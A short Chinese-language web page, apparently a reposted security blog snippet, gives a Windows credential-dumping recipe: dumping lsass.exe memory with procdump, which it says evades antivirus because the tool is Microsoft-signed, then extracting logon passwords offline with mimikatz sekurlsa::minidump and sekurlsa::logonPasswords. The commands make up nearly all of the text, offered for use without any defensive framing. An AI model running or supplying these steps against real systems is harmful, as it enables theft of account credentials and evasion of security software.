注册
登录
| 关键词： lsass 微软 会报 本机 sekurlsa minidump procdump mimikatz MINIDUMPmimikatz logonPasswords |
使用procdump,由于是微软的东西,带微软签名杀软不会报毒。procdump -accepteula -ma lsass.exe lsass.dmpcopy出 lsass.dmp到本机。?123mimikatz # sekurlsa::minidump lsass.dmpSwitch to MINIDUMPmimikatz # sekurlsa::logonPasswords具体可以参考原文：http://blog.gentilkiwi.com/securite/mimikatz/minidump |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
